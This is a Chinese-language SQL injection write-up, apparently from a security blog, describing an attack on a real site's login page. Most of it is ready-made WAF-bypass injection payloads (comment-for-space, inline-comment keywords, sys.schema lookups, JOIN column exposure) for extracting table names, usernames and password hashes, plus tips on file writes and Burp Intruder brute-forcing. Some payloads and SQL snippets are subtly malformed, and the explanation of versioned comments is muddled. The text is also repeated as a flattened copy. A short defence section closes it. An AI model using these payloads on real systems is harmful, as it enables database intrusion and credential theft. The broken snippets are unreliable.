记一次SQL注入实战
字数 1400 2025-08-19 12:40:50

SQL注入实战:绕过WAF的多种技术详解

1. 漏洞发现与初步探测

1.1 漏洞特征

  • 目标站点登录页面存在SQL注入漏洞
  • 插入单引号(')会直接返回SQL报错语句,表明存在报错注入的可能性
  • 验证码存在"一码多用"问题,降低了自动化攻击的难度

1.2 WAF过滤规则

后台对以下内容进行了过滤:

  • 常用关键字:group_concatconcat_wsinformation_schema
  • 空格字符
  • 其他SQL注入常用函数和语法

2. 绕过技术详解

2.1 注释替换空格

由于空格被过滤,可以使用注释符号/**/替代空格:

admin'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)--+

2.2 内联注释绕过关键字过滤

对于被过滤的关键字如select,可使用内联注释:

select -> /*!50000%50elect*/

注意:MySQL会忽略/*!50000*/中的内容(如果版本号小于5.0.0),但现代版本会执行其中的语句。

2.3 函数名与括号间的限制

当使用group_concat等函数时,函数名与括号之间不能有任何字符(包括空格):

group_concat()  # 正确
group_concat () # 错误

2.4 LIMIT替代GROUP_CONCAT

group_concat不可用时,可以使用limit分页获取数据:

/*!50000%53elect*//**/(table_schema)from/**/information_schema/**/limit/**/0,1

2.5 绕过information_schema过滤

多种方法绕过information_schema限制:

  1. 使用反引号:
`information_schema`.`schemata`
  1. 插入特殊注释:
information_schema/*!*/.schemata
  1. 使用换行符:
information_schema%0a.schemata

2.6 使用sys.schema替代information_schema

MySQL 5.7+提供了sys.schema,可替代information_schema获取元数据:

  • sys.schema_auto_increment_columns:自增ID监控表
  • sys.schema_table_statistics_with_buffer:I/O延迟统计表
  • mysql.innodb_table_stats:InnoDB表统计信息

注意:访问sys库通常需要超级管理员权限。

2.7 JOIN无列名查询技术

当无法直接获取列名时,可以使用JOIN自连接产生错误暴露列名:

select * from (select * from db.tables as a join db.tables as b as c)

使用using表达式避免错误:

select * from (select * from xx as a join xx as b using(xx)) as c

3. 完整注入流程

3.1 获取基础信息

admin'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)--+
admin'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)--+
admin'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)--+

3.2 获取表名

使用sys.schema_auto_increment_columns

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/table_name/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/database()/**/limit/**/0,1),0x7e),1)

计算表数量:

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/count(distinct(table_name))/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/database()/**/limit/**/0,1),0x7e),1)

3.3 获取列名

使用JOIN技术:

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*from/**/(/*!50000%53elect*from/**/db.tables/**/as/**/a/**/join/**/db.tables/**/as/**/b/as/**/c),0x7e),1)--+

3.4 获取数据

获取用户名:

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/name/**/from/**/xxx/**/where/**/id=xxx),0x7e),1)--+

分段获取长密码(32位):

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/xxx/**/where/**/id=xxx),0x7e),1)--+

4. 高级技巧与注意事项

  1. 权限利用:确认当前用户为root后,可尝试文件写入(需知道绝对路径)
  2. 数据完整性:从sys.schema不同表中获取数据后需要去重
  3. 分段获取:对于长数据(如密码hash),使用substr分段获取
  4. 自动化工具:可将请求发送至Burp Intruder模块进行自动化爆破

5. 防御建议

  1. 使用参数化查询或ORM框架
  2. 最小权限原则,避免使用root账户连接数据库
  3. 对用户输入进行严格过滤和转义
  4. 禁用详细的错误信息返回
  5. 定期更新WAF规则,防范新型绕过技术

6. 总结

本案例展示了在严格WAF环境下进行SQL注入的多种高级技术,关键在于:

  1. 准确识别被过滤的关键字和字符
  2. 灵活组合多种绕过技术
  3. 利用数据库自身的特性和替代方案
  4. 分步骤、耐心地获取所需信息

安全是一个持续的过程,攻防双方都在不断演进,理解攻击技术才能更好地进行防御。

SQL注入实战:绕过WAF的多种技术详解 1. 漏洞发现与初步探测 1.1 漏洞特征 目标站点登录页面存在SQL注入漏洞 插入单引号( ' )会直接返回SQL报错语句,表明存在报错注入的可能性 验证码存在"一码多用"问题,降低了自动化攻击的难度 1.2 WAF过滤规则 后台对以下内容进行了过滤: 常用关键字: group_concat 、 concat_ws 、 information_schema 空格字符 其他SQL注入常用函数和语法 2. 绕过技术详解 2.1 注释替换空格 由于空格被过滤,可以使用注释符号 /**/ 替代空格: 2.2 内联注释绕过关键字过滤 对于被过滤的关键字如 select ,可使用内联注释: 注意:MySQL会忽略 /*!50000*/ 中的内容(如果版本号小于5.0.0),但现代版本会执行其中的语句。 2.3 函数名与括号间的限制 当使用 group_concat 等函数时,函数名与括号之间不能有任何字符(包括空格): 2.4 LIMIT替代GROUP_ CONCAT 当 group_concat 不可用时,可以使用 limit 分页获取数据: 2.5 绕过information_ schema过滤 多种方法绕过 information_schema 限制: 使用反引号: 插入特殊注释: 使用换行符: 2.6 使用sys.schema替代information_ schema MySQL 5.7+提供了 sys.schema ,可替代 information_schema 获取元数据: sys.schema_auto_increment_columns :自增ID监控表 sys.schema_table_statistics_with_buffer :I/O延迟统计表 mysql.innodb_table_stats :InnoDB表统计信息 注意:访问 sys 库通常需要超级管理员权限。 2.7 JOIN无列名查询技术 当无法直接获取列名时,可以使用JOIN自连接产生错误暴露列名: 使用 using 表达式避免错误: 3. 完整注入流程 3.1 获取基础信息 3.2 获取表名 使用 sys.schema_auto_increment_columns : 计算表数量: 3.3 获取列名 使用JOIN技术: 3.4 获取数据 获取用户名: 分段获取长密码(32位): 4. 高级技巧与注意事项 权限利用 :确认当前用户为root后,可尝试文件写入(需知道绝对路径) 数据完整性 :从 sys.schema 不同表中获取数据后需要去重 分段获取 :对于长数据(如密码hash),使用 substr 分段获取 自动化工具 :可将请求发送至Burp Intruder模块进行自动化爆破 5. 防御建议 使用参数化查询或ORM框架 最小权限原则,避免使用root账户连接数据库 对用户输入进行严格过滤和转义 禁用详细的错误信息返回 定期更新WAF规则,防范新型绕过技术 6. 总结 本案例展示了在严格WAF环境下进行SQL注入的多种高级技术,关键在于: 准确识别被过滤的关键字和字符 灵活组合多种绕过技术 利用数据库自身的特性和替代方案 分步骤、耐心地获取所需信息 安全是一个持续的过程,攻防双方都在不断演进,理解攻击技术才能更好地进行防御。